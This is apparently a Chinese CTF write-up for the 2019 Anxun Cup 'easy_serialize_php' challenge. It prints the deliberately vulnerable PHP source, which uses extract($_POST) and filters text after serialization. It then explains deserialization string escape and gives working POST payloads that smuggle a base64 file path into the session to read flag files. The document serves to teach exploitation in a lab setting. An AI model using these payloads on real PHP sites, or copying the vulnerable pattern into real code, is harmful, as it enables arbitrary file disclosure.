[安洵杯 2019]easy_serialize_php

Posted 2021-02-20 LLeaves

 

学到的知识：extract对session数组的覆盖

反序列化逃逸的方法

1.代码审计

 

<?php

$function = @$_GET[\'f\'];

function filter($img){
  $filter_arr = array(\'php\',\'flag\',\'php5\',\'php4\',\'fl1g\');
  $filter = \'/\'.implode(\'|\',$filter_arr).\'/i\';
  return preg_replace($filter,\'\',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = \'guest\';
$_SESSION[\'function\'] = $function;

extract($_POST);

if(!$function){
  echo \'<a href="index.php?f=highlight_file">source_code</a>\';
}

if(!$_GET[\'img_path\']){
  $_SESSION[\'img\'] = base64_encode(\'guest_img.png\');
}else{
  $_SESSION[\'img\'] = sha1(base64_encode($_GET[\'img_path\']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == \'highlight_file\'){
  highlight_file(\'index.php\');
}else if($function == \'phpinfo\'){
  eval(\'phpinfo();\'); //maybe you can find something in here!
}else if($function == \'show_image\'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo[\'img\']));
}

 

首先很容易在phpinfo中找到一个php文件怀疑为flag

这个题目里根本没有读取session文件，这个题只是把$_SESSION数组进行了serialize()，这种地方不要因为看到php处理器而犯迷糊。

过滤函数filter()是对serialize($_SESSION)进行过滤，滤掉一些关键字

我们发现unset函数将$_SESSION销毁了。

然后重新赋予$_SESSION了新的值。

最后调用了extract($_POST);

extract() 函数从数组中将变量导入到当前的符号表。

根据extract()我们可以进行变量覆盖，

当我们传入SESSION[flag]=123时，$SESSION["user"]和$SESSION[\'function\'] 全部会消失。

只剩下SESSION[flag]=123。

f参数要传为show_image,其次可控点就是img_path下的img,但是不能直接传，因为会进行一系列加密

2. php反序列化字符逃逸

在php中，反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

如果我们在str结尾的花括号后再增加一些字符呢？

eg1：

<?php
$str=\'a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc\';
var_dump(unserialize($str));
?>

 

仍然可以输出上面的结果，这说明反序列化的过程是有一定识别范围的，在这个范围之外的字符(第二个例子里的abc)都会被忽略，不影响反序列化的正常进行。

eg2：

<?php
$_SESSION["user"]=\'flagflagflagflagflagflag\'；
$_SESSION["function"]=\'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}\';
$_SESSION["img"]=\'L2QwZzNfZmxsbGxsbGFn\';
echo serialize($_SESSION);
?>
    
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

假设后台存在一个过滤机制，会将含flag字符替换为空，那么以上序列化字符串过滤结果为

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

将这串字符串进行序列化会得到什么？ 这个时候关注第二个s所对应的数字，本来由于有6个flag字符所以为24，现在这6个flag都被过滤了，那么它将会尝试向后读取24个字符看看是否满足序列化的规则，也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾，恰好满足规则，而后第三个s向后读取img的20个字符，第四个、第五个s向后读取均满足规则，所以序列化结果为：

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

 

数组形式：

$_SESSION["user"]=\'";s:8:"function";s:59:"a\';
$_SESSION["img"]=\'ZDBnM19mMWFnLnBocA==\';
$_SESSION["dd"]=\'a\';

 

可以发现，SESSION数组的键值img对应的值发生了改变。 设想，如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值，我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样，他本来想读取的base64编码是：L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面，用ZDBnM19mMWFnLnBocA==代替了真正的base64编码，读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了，不影响正常的反序列化过程。

3.逃逸实现

get传参：?f=show_image

post调用extract函数实现变量覆盖，这里有三种post方式，均可以实现逃逸，可对比学习规律

例如 post传参：

_SESSION[\'flagflag\']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

<?php
    #方法一
    $_SESSION[\'flagflag\']=\'";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\';
    #结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}，这里就造成img不成为一个键，也就无法进行加密
    #过滤掉flag有
    #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    #使得绕过;s:51:""到达下一个封号，这时img成功逃逸出来
​
    #方法二
    $_SESSION[\'flagphp\']=\';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\';
   
    #方法三
    $_SESSION[\'flagflag\']=\'";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\';
​
?>

 

回显得到

<?php
​
$flag = \'flag in /d0g3_fllllllag\';
​
?>

 

继续替换掉base64值读取即可 L2QwZzNfZmxsbGxsbGFn

 

参考博客：

https://www.jianshu.com/p/1f44650b0822

https://www.jianshu.com/p/8e8117f9fd0e

http://www.mamicode.com/info-detail-2984973.html

https://www.cnblogs.com/h3zh1/p/12732336.html